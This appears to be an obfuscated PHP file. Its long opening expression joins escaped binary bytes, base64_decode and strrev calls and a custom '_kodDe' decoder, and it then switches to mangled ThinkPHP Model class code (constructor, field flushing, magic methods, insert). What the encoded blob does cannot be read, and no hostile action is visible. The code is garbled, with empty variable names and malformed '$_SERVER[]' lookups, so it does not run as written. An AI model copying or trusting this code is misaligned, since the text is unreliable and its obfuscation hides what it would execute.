\xb\x53\x38\x61\x6e\x24\xe9\xda\x93\xbb\x16\x31\x1d\xd4\xb5\xa5\x27\x23\x94\x14\xe1\xfd\x95\x52\x9\x60\x54"."\170\120\304\327\34\242\314\36\306\302\213\116\256\66\330\311\346\275\44\344\215\314\233\35\272\225\63\310\175\316\122\141\335\303\343\165\171\1\224\33\140\177\215\124\203\144\317\210"."\203\60\221\370\302\122\62\14\51\346\121\273\374\262\251\21\232\130\2\224\214\33\230\377\107\32\232\11\12\121\334\300\312\351\7\10\373\265\130\114\100\170\255\41\145\142\332\305"."\x2f\xbc\x48\xa4\x35\xd9\xaa\x53\xf2\x1b\x7c\xb4\x3c\xe3\x64\xea\xc4\xc2\xeb\x33\x64\x97\x12\x1\xe1\x4c\x92\xaf\xe5\x5\x7c\xc0\xb1\xb5\x33\xdc\xb2\x63\x3a\xb8\x4f\x95\xda\xd2\xc1\xd3\xa7\xb8"."\327\140\72\32\322\60\23\0\375\44\273\117\251\27\215\150\105\55\65\255\121\151\15\110\320\66\346\150\11\134\131\106\231\52\36\266\316\320\35\160\47\346\102\36\221\30\344\15".base64_decode('6NjUiRqeYMM0npG60vr2TJ2SN88x9nvZfE2QkFdoEVnOt1cY18WRjLIRy7JvzSTw')."\x1f\xa9\x89\x64\x92\x70\xa6\x27\xf\x59\x8e\xd4\xa\x6\x66\x3e\x3\xd1\x62\x8d\x21\x44\xdd\x1e\x53\x5b\xd1\x59\x10\x63\x14\x83\x61\x27\x5d\xb8\x97\xe5\x2\x54\xe0\x20\x82\x26\x15\x24\x46\xbb"."\300\217\315\41\67\102\364\156\22\46\173\15\102\253\374\213\151\143\200\337\56\161\122\207\350\317\362\134\332\217\32\16\253\56\255\73\334\137\22\306\146\314\300\21\267\131\262\162"."\316\161\354\67\54\71\50\324\206\164\154\110\306\244\35\45\112\61\320\225\322\316\101\23\361\255\124\42\326\31\147\127\47\70\214\105\106\152\74\334\264\234\337\142\160\150\113\150".base64_decode('iRcSwSK/0MKyYC6IwnDC8anxGJbYhaMtngyJVu5P0g1To5H2RWUjEN3QJmWhwEgy').base64_decode('3OaFuUtIhENx5ogUhxujsSYpOhIrHQlOmHAglfdRYPCEqu41hGWpR5xLei0WDPjV')."\x9e\x29\xd5\xf3\xbb\xd7\x55\x57\x75\x7\xe7\x7\x26\x73\x79\x16\x45\x57\x92\x19\xed\x18\x60\x9b\x1d\x22\xf5\x5e\x0\x3e\x7f\x18\x90\x66\x83\x50\x30\x10\x80\x4a\xf8\x47\xb0\x3b\xc8\x9d\x72\xb1"."\x3\x2\x9c\xfc\x26\xa8\xfb\x22\x57\x2b\x3c\x7e\x3d\x98\xc1\x7c\xc0\xeb\xbf\x52\xc5\x86\xb9\x2a\xdf\x4f\xf8\xaa\x53\x4d\x2c\x4f\xf0\x91\xa7\xcb\xb0\x5c\xbc\x6b\xad\xd1\x64\xb2\x5a\x83\x27\x31".base64_decode('+tshJ8WaNGUTuharyzBZBgUMU+wDsWHTZqqIvSWJ0RdmzAgUcBWBUPWA4K5hvyXY')."\276\314\243\123\20\216\331\46\104\54\56\154\215\34\277\50\332\326\36\353\130\34\117\44\73\227\54\135\266\174\5\214\64\133\16\175\212\237\71\73\3\337\230\301\41\315\12\16".base64_decode('Me/OSzCtr9tBmYbiQNRHhOoYogpSEQCPxXghWD6KlhbM5Z2aMVJ0WHqvaTpjxC5p')."\xfb\xe6\x82\x21\xb2\xab\xdb\xee\x61\xeb\x2f\x98\xd6\x87\xe0\x53\xa8\xae\xd9\x82\xc3\x1\xf2\xc1\x2f\x7b\x99\xc6\x4b\x55\xa6\xe8\xd2\xbd\x9e\x73\x1e\x0\x59\x4e\x92\x49\xd4\x80\x0\x12\x9b\x4f"."\xe1\x72\x35\xf\x14\xcf\x28\xbb\xed\x20\x9e\xc6\x9a\x4c\x5e\x4d\x2d\xd3\x31\x5c\xee\xcf\xf9\xd3\xdd\xc9\x85\xd8\x75\x66\xf7\xa\xbe\x36\xc\x4b\xf2\x5d\x99\x32\xf3\x69\x43\x72\xb2\xa0\xa5\x18"."\xb1\x57\x4c\xd\x70\x5f\x5\xf8\xa4\xb0\xfd\xc3\x6\x5b\x7d\xc7\x72\x36\x11\x54\xad\x54\x2d\x45\xd9\x66\x49\xcd\x70\xd0\x8f\xb9\x26\xbf\x96\xed\x37\x11\xa1\x97\xc9\x31\xa8\x36\xe0\x8a\x17\x6e"."\143\13\146\326\140\356\354\6\375\250\12\51\216\46\106\205\263\363\26\253\114\160\77\262\70\140\363\220\274\45\311\211\304\65\202\360\271\327\352\301\6\34\310\375\335\46\110\47"."\352\225\351\340\24\272\5\121\340\222\21\51\163\313\53\50\64\114\325\21\77\310\64\350\123\204\73\171\46\126\245\274\312\321\236\15\112\274\350\10\262\75\45\73\132\140\210\74"."\x37\x20\xf4\x44\x72\x3\x5c\x6b\x23\xe5\x22\x64\x30\xcd\x20\x42\x96\x44\xab\x80\x67\x77\x14\xd7\x38\xca\xf4\xbc\xc0\x10\xb5\x71\x34\x2e\x3d\x4c\xe1\x72\x72\x21\xfb\xc2\xf\x2d\x4d\x4c\xf7\xb7"."\266\205\232\374\350\70\252\145\72\325\210\10\350\116\42\52\200\55\54\155\330\236\316\30\37\12\231\122\247\144\320\114\300\212\51\365\56\173\254\333\323\62\5\122\167\251\51\113"."\x4f\x63\x5d\x1a\x46\x75\x52\xa8\x67\x25\x51\xa0\xc0\x2b\x34\x4c\xdd\xf0\x31\xbd\xb4\x8c\xc6\x1b\x8c\xbb\x1\xb8\xad\x4c\xbd\xcb\xca\xd6\xbb\xac\x5c\xbd\xcb\x3c\xf5\x2e\x2b\xad\x97\x82\x3c\x2b"."\x56\x2b\x14\x9a\x32\x78\x2d\xb8\xb0\xaf\xb\x94\x92\x3\xec\x14\xec\xc3\xba\x41\xb2\xc6\x11\x48\x60\xa9\xc2\x71\x0\x45\x37\x53\x2\x3c\xcd\xd3\xdb\xe2\x8b\xef\x8a\x3e\x69\xbf\xb8\x8a\xb\xc0"."\21\221\146\207\256\315\220\136\126\263\235\45\56\157\112\337\352\331\30\173\15\151\343\314\6\247\163\203\246\155\7\261\7\110\102\335\163\315\272\130\202\335\61\271\373\104\237\123"."\221\204\1\340\204\216\73\350\345\356\173\205\217\137\172\65\100\277\303\334\63\16\142\122\102\375\330\31\12\302\163\60\52\341\221\202\151\353\262\313\350\264\116\74\222\162\353\177"."\xc9\x13\x73\x4e\x1b\xc1\x98\x88\x29\x1c\x4a\x3e\x99\x99\x87\x63\xd9\x1d\x24\x1e\x30\x7f\xce\xe5\x43\x7e\xc4\x8f\xba\xee\xf1\x6a\x6c\xeb\xfa\x0\x53\x8b\x94\x18\x16\x2e\x94\xe8\xe0\xde\x8a\xbd"."\xdd\xc1\xa8\x40\x20\x45\x8b\xfb\xa7\xa6\xb7\xca\xfe\xb2\x0\xbf\xe4\x45\x83\x62\x3\xc9\xdb\x39\x6a\x17\x14\x8d\x9b\x9\xfb\x37\x43\xc6\x86\x49\x34\xe8\xcf\x8a\x72\xbd\xf6\x5b\xc2\x7d\x34\x9a"."\x4b\xfa\x46\xc1\x22\x7d\x94\xb9\x66\xf6\xec\x0\x8f\x37\xe7\xee\x85\xdd\x6d\xdd\x49\x79\x98\x1c\x4b\xeb\xeb\x43\xcd\x96\x1c\xc4\xba\xda\x22\x9c\x47\xc3\xf2\x23\xcf\xa\xb0\xc1\x18\xdb\xf5\x34"."\134\236\34\127\326\163\65\104\22\16\45\210\122\140\357\11\303\234\74\14\222\367\111\312\254\335\305\30\16\253\267\117\150\352\26\212\322\23\71\362\172\301\307\76\177\326\4\113".base64_decode('NqjDb4YyiCNucPTfwHqEhi7faKbhTFxTgVZiRX3FsVXot7rCV4EJWxLGs4gBpB0V')._kodDe('KrvphUpeg19kDqdDwFMY1qwSumV4xec+xEDLvefUXFOxoA8CATL3M4xffKMIbGl0ww==').base64_decode('ERWhPXZ9osrIF9A6jLoc08pbwtByW/MMhkVDbSv8wjv13PkjuawCXGlDZU1gaqXC')."\136\163\151\250\354\114\266\370\147\125\316\237\267\317\334\46\162\351\354\350\155\370\326\30\313\114\250\260\140\36\134\12\315\305\333\213\7\202\356\320\130\171\141\375\345\264\325\146"."\36\35\165\10\103\345\2\51\30\314\116\216\305\204\303\360\274\356\14\233\26\334\250\3\202\255\145\266\175\31\11\367\344\154\266\265\211\200\252\36\313\121\131\367\73\13\243\305"."\xbc\x1f\x8b\x2c\xfc\x9\xd9\x73\xa1\xe7\x89\x82\xa9\xee\xf4\x58\xe8\xe0\x4e\x2f\xa3\xc6\x94\x40\x1f\x39\xf1\x49\x9f\x9b\xa8\x57\xe4\x37\x48\x24\x77\xcc\x44\xa0\x45\x77\x25\x53\xe\x1\x18\xc6"."\x9a\xc\x24\x30\x68\x9f\xb0\x17\xc0\x28\x51\x75\xa3\xc4\x5\x9e\xf6\xe2\xa1\xf6\x23\xa2\xb\xaf\x7f\xb4\xa9\xd0\xf1\xeb\xe8\xe5\x92\xb8\x1f\xba\xf0\x3e\x7f\xe1\x1d\x5\x92\x5\x4f\xae\x5f\x7e"."\127\143\4\121\350\70\32\173\330\367\343\371\365\33\351\261\142\304\246\56\333\324\24\54\225\162\111\72\213\106\332\133\45\121\142\360\27\213\254\302\262\205\312\374\3\113\100\72"."\x11\xe1\xe5\xb9\x28\x73\xd\xcd\x35\x27\xc6\xbd\xc4\xbd\xa0\x51\xb4\x52\xaf\xf5\x68\xf3\x2a\xb5\xd3\xea\x67\xcc\xae\x67\x76\x75\xc7\x31\x1d\x8c\x62\x81\xa9\x6c\xa3\x4f\xe6\xd5\xfe\xe8\x60\x1f"."\303\3\342\345\13\326\67\74\341\322\63\0\56\260\30\106\276\303\31\2\161\245\23\255\165\275\251\2\35\245\374\276\364\134\1\221\264\323\235\204\65\223\124\376\250\103\31\114"."\212\230\67\166\140\300\261\233\27\374\25\237\220\176\366\141\361\364\232\330\42\275\331\1\321\223\136\254\235\16\53\174\0\65\324\24\144\26\71\162\145\61\166\246\230\37\150\220"."\42\25\307\64\225\234\226\37\5\156\140\222\135\77\311\236\203\53\152\300\172\371\66\12\0\276\346\316\174\361\71\42\134\57\122\307\101\20\103\357\25\2\370\55\226\0\76\244"."\342\105\351\11\52\267\1\211\212\316\46\317\345\266\374\156\135\107\266\310\237\327\50\220\157\350\122\107\264\163\141\244\135\322\270\222\0\152\123\163\273\32\352\350\50\33\301\51".base64_decode('HCyBxOoKgVXsFifFluFcI9evpLA1SEMFhlYotpViPpArgoB4SQLBcM01IEslzqL0')."\241\76\371\311\27\215\256\234\67\67\150\314\343\263\43\374\72\131\246\60\166\11\4\217\301\354\127\20\353\64\345\217\303\313\101\126\261\40\320\26\341\305\111\121\346\152\12\35"."\370\206\112\42\150\257\124\62\350\0\347\12\235\363\274\231\333\331\75\327\334\240\46\107\342\255\30\67\31\275\314\271\256\41\356\301\260\354\135\111\110\362\230\116\36\316\150\322"."\362\113\112\263\340\302\3\51\71\212\316\44\61\307\51\115\37\44\242\206\240\140\60\335\227\111\374\356\245\314\242\50\150\251\1\274\360\304\51\1\65\101\104\7\346\144\150\204"."\xeb\xfd\x7\x47\xd2\x24\x29\x62\x83\x34\x22\xbb\xb7\xc4\x23\x35\x6b\xd6\xd0\x82\x30\x61\xb0\x6e\x5d\x29\xc\x94\x51\xbd\x51\xa1\x82\xe1\x5\xe1\xf5\xe2\x85\x61\xce\x5c\xc0\xd0\x71\xe7\xae\x86"."\256\125\71\221\200\260\64\364\127\344\211\266\57\24\1\272\241\134\221\135\114\357\233\204\272\273\52\3\223\327\255\13\32\114\145\213\251\227\260\274\1\236\232\206\273\3\356\364"."\250\47\60\364\74\41\0\274\51\51\231\171\74\154\271\175\202\223\205\21\35\127\315\122\260\276\126\103\303\274\56\176\63\325\303\342\30\255\150\324\314\142\223\276\72\343\117\56".base64_decode('5Z9N7YIa5kubYpEAkaqE3D6S5w/x51foqMrfoUJBDgZZAF9bZI3eIN/j9CojkBK2').strrev('!8+;'."\n".'2vTpg8B`D80 ,g')."\46\251\120\200\215\157\250\40\317\3\124\40\154\104\143\0\15\210\246\314\305\150\107\261\364\154\103\5\151\256\235\321\165\224\237\40\226\162\225\240\214\25\12\303\211\71\215\217"."\230\345\230\350\174\344\266\115\360\130\125\147\34\54\66\102\355\160\125\164\314\11\364\367\330\143\70\372\307\117\246\145\165\213\352\243\23\44\103\56\51\373\204\314\13\36\315\352".strrev('5X\\*bmAO^Ft9P&Lj').base64_decode('8YlYO3uTJcmXDbZvCihdGrvUAtVZekuXyBQdcYTihwaS2FjZBrDkehE7fkQFdVFZ')."\x66\xc3\x54\x66\x3c\xc2\x14\xeb\x84\xe1\x1a\xa4\x2c\x53\x6\x95\x2b\x27\xb9\xe2\x9a\x9e\x77\x89\x48\x68\xdd\x59\x93\x79\xa3\xac\x9d\x3a\x75\xaa\x7f\x6a\xd\xfa\x9f\xa9\x5e\x33\x57\x8\xf5\xcc".base64_decode('d4CUZOrUevI/jSBSXpgUdwza/AxrQYJhXYcGwUGQM/JFRnV1NWEDNAU3rYcRGqz9').strrev('iqsGX(&٠Do=HB^܅H@H>h')."\x3\x6f\x54\x38\x9f\xee\x92\x2b\xb\xb0\xc1\xa5\x40\xe1\xf5\xda\xcf\x22\xfc\xf2\x2b\x15\x90\x89\x1e\xd\xe2\x5e\xc4\xd5\x34\x94\xc7\xed\x7d\x12\x43\xd0\xc1\x9c\xe2\xfd\xc4\x0\x49\xa4\x82\x29"."\71\311\243\46\16\312\327\37\44\232\233\14\222\120\226\173\62\300\301\166\136\22\175\14\205\232\356\301\30\226\131\256\31\163\130\25\247\60\16\36\317\103\144\110\61\117\305\226"."\x61\x5a\x32\xeb\xc4\xe3\xca\xf0\xb1\x94\x9c\x8b\xa1\x84\xee\x2\xa8\x62\x10\xf3\xfe\x1\x23\xeb\x32\x6a\x56\xa5\xac\xf2\xd8\xce\xc1\x9\x59\x4f\x92\xee\x9c\xb8\x20\xb4\xa3\x43\xfc\x49\x18\xaa"."\32\311\332\246\300\326\3\362\1\237\40\344\65\77\252\315\132\277\117\311\344\72\336\211\45\163\144\231\302\102\271\104\41\211\205\244\231\142\42\365\304\267\350\14\61\110\230\1"."\xa8\xba\x4d\x13\x77\x3d\x29\x15\xe0\x8d\xf2\xe4\x9\x51\x49\x7c\x49\x6\x80\x97\xa6\x26\xb7\x17\x65\x52\x63\xb8\x27\x35\x71\x3a\xd9\xc4\x7d\xe9\xca\x9e\x28\xa9\x2a\x82\xa4\xfe\x62\xc3\x5b\x0"."\102\367\200\225\61\44\261\133\201\202\145\366\243\131\267\345\101\103\360\216\362\140\236\274\64\145\231\104\274\365\162\72\31\210\257\106\330\233\232\260\234\205\225\264\46\236\364\225".base64_decode('kiaET2EBdO9mKaKJv9wkAzH7JmubEB1hdxmYzXJDeMu+YdExft6B91dlDUmaTGAk')."\x2c\x6b\x91\x25\xc2\xaa\x6b\x99\xb0\xb5\xca\x94\x5b\xf0\x8\x89\xcb\x66\x37\x9c\xc2\x28\xc7\xed\xba\x6f\x4a\x12\x44\x97\xd5\xd9\x73\xb0\x80\xa\xc9\xa6\xc2\x5\x10\x25\x20\xcf\xa0\x8a\x8d\x0".strrev('=@\\EU/tB̴+twYUHx%0.V,/~ێA[')."\107\205\122\10\227\16\210\314\207\230\74\233\312\355\174\30\254\320\247\71\225\274\316\155\323\335\223\52\147\200\367\223\114\104\117\141\77\266\162\46\134\126\247\7\105\55\162\141"."\104\336\326\56\322\130\246\140\247\114\12\324\202\362\337\44\366\40\2\305\307\342\46\71\10\335\356\102\335\352\101\104\275\70\115\140\102\272\50\66\146\145\342\46\303\127\232\315"."\xcf\x60\x51\x67\x94\xba\x74\x4e\x28\x52\x21\x80\xb6\x93\x19\xcb\x74\x38\x17\x87\xe3\xd1\x3a\x14\x81\xa8\x4c\xae\x25\x69\x16\xff\x3c\x51\x8f\xeb\xa2\x51\x72\x6\xce\x93\xa2\x73\x9d\xd5\xae\xb1"."\xb3\x9e\x68\xa9\x11\x67\xea\x12\x63\xe9\x9\x7a\x75\xfa\xc8\xb9\xec\xb0\xa3\x95\x79\x57\x17\xea\x6e\x78\x1a\x13\x92\x12\x94\xb0\xd1\x67\xe5\x9\x21\x51\x99\xda\xa1\x40\x5e\x1c\x10\x13\x96\x9e".base64_decode('Mi0ic5DcW+SduN4vB6Mml7XgSy+9TBHYo5CEAvCOCKWcouyfSHLQjkKSJ36JKPTX')."\x28\x9c\x9a\x54\x69\xc9\x34\x30\x45\x8a\x20\xe9\xcb\x11\x96\x1e\x11\xa1\x64\x7e\x42\x84\x1c\x89\x62\x2f\xbf\xa9\xf1\x90\x7b\xcc\xa2\x45\x91\xa9\x29\x66\xa2\x82\xb\x20\xae\x62\x70\xf\x6c\x39"."\16\25\213\35\45\213\236\311\131\110\235\45\131\150\34\46\150\204\303\25\71\306\306\56\366\73\331\264\225\213\51\123\25\211\222\106\64\305\135\120\301\350\210\101\202\210\121\235"."\xe9\x84\xfa\x6b\x6a\xfd\xd3\xb8\x9f\x36\xc9\xc5\x13\x70\x14\x80\xd3\xd1\x3e\x91\x96\x1\x66\xbe\x18\x4a\x1\x8d\x4a\x48\x27\xd2\x98\xd2\x7d\x17\x71\xc2\x22\x5c\x4f\x10\x7f\x33\x7c\x3e\x89\x63"."\32\36\262\244\163\135\347\332\226\304\103\213\214\142\205\132\2\125\302\304\11\72\313\305\323\21\302\321\315\56\265\131\117\2\264\63\334\361\340\153\137\64\206\72\211\61\135\312"."\116\236\102\340\105\7\371\65\1\222\113\364\103\350\16\43\220\111\75\372\113\3\43\324\53\250\357\32\246\4\315\161\226\0\47\115\16\54\125\321\300\253\22\212\244\206\300\360".base64_decode('yGlVNTYEdsm42ka5uSZWuMIYhSvL2nKAxfLFabsCVMHMlZuDeKph5mORy2I6WjuC').base64_decode('HNTItydl44XLrCamxaWP6MBsDeeMlBKNLYw0haLNkcQipV93FKFLQl7kcG9lInCk')."\3\317\126\165\57\177\34\2\177\372\173\21\365\356\117\163\16\307\26\274\214\244\146\47\275\253\345\56\226\256\77\335\52\51\61\217\115\165\262\45\171\260\30\265\114\352\254\220"._kodDe('LDwh/XtQiHCMuUZG7H1E/pckt3Of1+YSXWohm7pDA9mUXLmDriQRNV5uXlWIIEbGLw==').base64_decode('3BZpV0PRaGypSx1RCJAt/l5KWn5eRZoZMQm09lJPbuAHS/Zk7xFp0OmTvfsV2P0J').base64_decode('vBDJX1ugQen1o4KlGbYuAeirPZPBMkbLZl3vHmb7pGDRfbKWrUqlFTCY5ECwXII4')."\x7e\xd0\xfe\x7f\xdd\x54\x23\x2d\x9c\x77\x19\x69\xa6\xc6\xc1\xd\x19\xe9\x43\xc\x4d\xf2\x1b\x99\xac\xce\x92\x17\x9e\xbe\xf5\xad\x28\x9f\xb8\xc0\x51\x89\x7b\x23\xf6\x64\x9d\x49\x58\x13\xa0\x9b"."\51\54\22\123\251\247\37\121\5\142\232\255\321\202\174\345\27\114\7\371\20\323\17\354\243\60\314\356\231\160\100\60\11\70\71\224\206\253\243\254\43\342\210\261\0\214\261\23"."\114\275\24\341\11\30\147\327\225\267\347\325\53\257\46\256\353\231\371\222\72\310\223\13\64\256\13\167\7\245\354\21\235\103\41\376\244\212\310\352\215\51\323\0\24\255\10\371".strrev(' pZ73$ebWA(@74ʲձq\\b3.elS(4O')."\225\242\254\135\134\173\21\77\26\222\357\63\345\361\43\10\31\333\117\320\147\24\51\377\356\103\174\217\356\224\276\271\104\263\377\177\311\110\43\23\222\116\247\273\220\322\6\331"."\336\243\116\220\135\370\71\251\214\71\354\176\113\21\103\274\17\110\271\236\216\222\66\15\261\36\226\37\273\162\147\362\225\74\332\242\220\107\162\25\264\324\141\26\261\313\51\306".base64_decode('H5LEUtWT6E83/LLjzNsIiqigymq+qJoyRjZtce0aAWjTBdNOcmEFE409Bkxelmtm')."\70\31\336\211\51\367\252\30\366\20\350\176\356\106\274\42\44\316\116\367\253\52\374\216\330\26\233\301\166\134\357\370\44\315\244\326\357\243\24\31\306\152\42\324\70\52\177\313"."\32\265\244\27\50\222\11\326\322\174\276\347\111\11\330\323\174\151\37\171\104\216\242\72\357\103\64\322\116\343\370\123\316\335\237\65\173\265\154\234\52\245\271\254\155\54\304\115"."\x71\x45\x53\x57\x32\xa\xa\x6a\x85\x82\xb8\x9c\x92\x8f\x4c\xf4\xaf\xcb\xca\x11\xe2\x3a\x93\xad\x2a\xb1\xd5\x57\xe9\x1d\x76\x42\xac\x39\xe9\x5a\x8b\x2\xe1\x8a\xab\x98\x8f\xd0\x1b\x1\x17\xd4".base64_decode('kvg8WRuaXuYJuzpIjtrZQW/vYMDkItmNKhdPt0iPxgdLb2Cxuh1gFFkbFa7AAzIj')."\6\11\224\271\212\130\32\256\215\214\227\22\242\206\351\63\175\4\123\310\204\373\67\100\245\107\222\340\71\300\162\157\36\321\225\117\176\232\365\76\316\324\340\260\70\334\145\177"."\43\202\25\367\276\324\127\372\352\40\173\141\220\155\35\170\136\260\314\233\201\143\76\71\350\23\46\224\337\364\224\222\60\364\163\277\61\215\373\301\111\3\316\67\224\260\36\136"."\xae\x83\xf\xab\x27\x43\xdc\x3b\xc8\x49\xb3\x54\x56\x2b\xee\xa8\x5d\xf\x22\x4a\xbd\x6\xd4\x56\xfa\xa8\xa2\x34\xc\x52\xbf\x8b\x56\xd6\x47\xae\xeb\x7d\xcc\x5f\x5f\xd9\x77\x19\x5d\xf\x3b\x79".base64_decode('J7TMy47fWiDoAhOmK+3GevVzey12/+lNZrjWrmrpwkCIOlctOSCW59K102bMloUb').base64_decode('YgrFZSF4OYDLTaBWxKJQ3MtQYR5d5d1PIt1q2qXvfnpOgP/dhhHcA00qKU2Xvp9c')."\x32\x2\x64\x9d\x4a\xea\x44\xd2\x81\xe8\x51\x5\x31\xb1\xae\x86\x2d\x76\x1d\x3d\x2\xc5\xd3\x9f\xee\xba\x28\xf9\x50\xa6\x1f\xd2\xb9\x27\x36\xb\x7d\xba\xd1\xcc\x62\x1e\x3b\x87\xe5\xe8\x8e\xa5".base64_decode('uRnKcnwTGQnGpBnkTXTd23YyMCBNEdESYyWX6JheURDOjs9FIqWM5bNwbGOjcbHb').base64_decode('JEz0v5hAxiNRdkooApXpeXABQy1lnuaU9Cq+od2UuuP8oF9z/NKClMSHuhMjEwwo')."\102\260\255\356\276\172\212\107\331\104\31\75\76\145\254\104\245\44\236\364\202\247\160\53\46\21\167\70\67\263\44\35\203\353\147\230\112\176\233\324\311\10\366\205\356\120\327\156"."\225\374\44\313\346\165\244\40\171\33\224\26\55\75\320\50\4\101\104\162\4\235\200\75\114\274\245\22\23\313\320\102\156\166\251\111\312\133\156\351\24\36\135\351\361\135\123\376"."\26\243\216\61\175\214\171\237\105\265\273\270\113\24\156\366\274\305\114\260\222\367\201\146\66\104\4\25\10\54\47\131\357\272\130\31\376\144\235\213\265\261\275\357\124\42\2\117"."\xf6\x20\x8d\x82\xde\x77\x7e\x1\x1d\x12\xb5\x7a\x5a\x9b\x74\xa0\x8a\xb3\x53\x7c\xb5\x17\x73\x22\x20\x89\x74\x9\x17\xc5\x23\x5d\x46\xce\xd8\x3d\x96\x67\xe7\x33\xd3\x69\xdb\xf3\x7e\x2d\xf5\xed".base64_decode('S78Zsf//+4nG/1svM86YyoTvruedFwLJzai81ZL/cCr49fTDfWhOhFXEHy+Xwlx3')."\230\271\110\143\236\323\64\166\31\245\145\263\322\321\132\236\111\51\171\70\27\55\276\1\376\326\152\271\200\327\106\317\373\210\156\27\173\140\236\274\217\333\123\56\241\300\74\144".strrev('O@y+a0 d(uH/=2%')."\25\30\267\130\15\150\276\147\1\303\115\304\117\0\240\50\31\55\271\100\45\310\54\351\232\22\27\120\36\155\230\102\154\30\315\146\323\225\243\315\363\42\50\115\144\313\243\351"."\x92\xd7\x97\xea\x15\x94\xe6\xe6\x68\x40\xce\x82\x35\xb6\xdd\x22\x2c\xfe\xae\xfb\x54\xef\x43\xef\x35\xfe\xd2\xca\xa8\xc1\x4\x96\xa2\xc4\xb1\xdc\x82\x49\xa2\xc8\x95\xe\xb9\x67\x2d\x93\x87\x2e"."\333\204\110\63\306\306\51\277\175\371\113\254\102\54\207\277\344\376\62\64\320\141\231\204\272\163\103\271\54\107\322\202\225\236\46\237\24\50\71\154\30\352\163\15\71\142\334\304"."\235\241\141\22\177\374\54\153\147\133\25\261\375\201\25\213\170\211\26\123\314\275\364\10\70\336\140\302\315\45\166\112\106\304\207\362\21\316\314\361\44\155\166\0\271\204\174\266".strrev('1w[R}_initialize(); if (!empty($ɝ)) { if (strpos($ɝ, $[10])) { list($this->dbName, $this->name) = explode($[10], $ɝ); } else { $this->name = $ɝ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($յ)) { $this->tablePrefix = $[12]; } elseif ($[12] != $յ) { $this->tablePrefix = $յ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[244]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[245])) { $ = $this->dbName ? $this->dbName : think_config($[246]); $ = think_var_cache($[247] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[248]); if (empty($) || $[$[249]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $؟ = $this->db->getFields($this->getTableName()); if (!$؟) { return !1; } $this->fields = array_keys($؟); $this->fields[$[250]] = !1; foreach ($؟ as $ => $Ե) { $㔺[$] = $Ե[$[33]]; if ($Ե[$[39]]) { $this->fields[$[251]] = $; if ($Ե[$[42]]) { $this->fields[$[250]] = !0; } } } $this->fields[$[252]] = $㔺; if (think_config($[248])) { $this->fields[$[249]] = think_config($[248]); } if (think_config($[245])) { $Ƣ = $this->dbName ? $this->dbName : think_config($[246]); think_var_cache($[247] . strtolower(get_path_this($Ƣ) . $[10] . $this->name), $this->fields); } } public function switchModel($Ӕ, $ = array()) { $ɭ =& $_SERVER[]; $啵 = ucwords(strtolower($Ӕ)) . $ɭ[253]; if (!class_exists($啵)) { think_exception($啵 . think_lang($ɭ[254])); } $this->_extModel = new $啵($this->name); if (!empty($)) { foreach ($ as $ڹк) { $this->_extModel->setProperty($ڹк, $this->{$ڹк}); } } return $this->_extModel; } public function __set($, $ύ) { $this->data[$] = $ύ; } public function __get($궬) { return isset($this->data[$궬]) ? $this->data[$궬] : null; } public function __isset($ۛ) { return isset($this->data[$ۛ]); } public function __unset($) { unset($this->data[$]); } public function __call($Ü, $) { $꽭 =& $_SERVER[]; if (in_array(strtolower($Ü), $this->methods, !0)) { $this->options[strtolower($Ü)] = $[0]; return $this; } elseif (in_array(strtolower($Ü), array($꽭[255], $꽭[256], $꽭[257], $꽭[258], $꽭[259]), !0)) { $͵ = isset($[0]) ? $[0] : $꽭[189]; $͵ = $this->db->parseKey($͵); return $this->getField(strtoupper($Ü) . $꽭[260] . $͵ . $꽭[261] . $Ü, $꽭[255]); } elseif (strtolower(substr($Ü, 0, 5)) == $꽭[262]) { $͵ = think_parse_name(substr($Ü, 5)); $뜾[$͵] = $[0]; return $this->where($뜾)->find(); } elseif (strtolower(substr($Ü, 0, 10)) == $꽭[263]) { $Ռط = think_parse_name(substr($Ü, 10)); $뜾[$Ռط] = $[0]; return $this->where($뜾)->getField($[1]); } elseif (isset($this->_scope[$Ü])) { return $this->scope($Ü, $[0]); } elseif (method_exists($this, $Ü)) { array_unshift($, $Ü); return call_user_func_array(array($this, $꽭[264]), $); } else { return call_user_func_array(array(parent, $Ü), $); } } protected function call() { $ʽ =& $_SERVER[]; $ = func_get_args(); $ɦ = array_shift($); $֊ɘ = $ɦ; if (is_array($ɦ)) { $֊ɘ = $ɦ[1]; $ɦ = $ɦ[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $ɦ) { think_exception(__CLASS__ . $ʽ[4] . $ɦ . think_lang($ʽ[265])); return; } $[] = $ɦ; if (method_exists($this, $ʽ[266])) { $ = call_user_func_array(array($this, $ʽ[267]), array($֊ɘ, $)); if (!is_null($) && $ !== !1) { return $; } } $է = call_user_func_array(array($this, $ɦ), $); if (method_exists($this, $ʽ[268])) { $ = call_user_func_array(array($this, $ʽ[269]), array($֊ɘ, $, $է)); if ($) { return $; } } return $է; } protected function _initialize() { } protected function _facade($ܹ) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ܹ as $ץ => $) { if (is_array($this->fields) && !in_array($ץ, $this->fields, !0)) { unset($ܹ[$ץ]); } elseif (is_scalar($)) { $this->_parseType($ܹ, $ץ); } } } if (!empty($this->options[$[270]])) { $ܹ = array_map($this->options[$[270]], $ܹ); unset($this->options[$[270]]); } $this->_beforeWrite($ܹ); return $ܹ; } protected function _beforeWrite(&$ל) { } public function add($˔ = '', $ݵ = array(), $ۣ§ = false) { if (empty($˔)) { if (!empty($this->data)) { $˔ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][271]); return !1; } } $ݵ = $this->_parseOptions($ݵ); $˔ = $this->_facade($˔); if (!1 === $this->_beforeInsert($˔, $ݵ)) { return !1; } $Ӏ = $this->db->insert($˔, $ݵ, $ۣ§); if (!1 !== $Ӏ) { $Ӱ띯 = $this->getLastInsID(); if ($Ӱ띯) { $˔[$this->getPk()] = $Ӱ띯; $this->_after_insert($˔, $ݵ); return $Ӱ띯; } $this->_after_insert($˔, $ݵ); } return $Ӏ; } protected function _beforeInsert(&$ɉà, $) { } protected function _after_insert($ͳ, $̙) { } public function addAll($, $ = array(), $ŝ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = 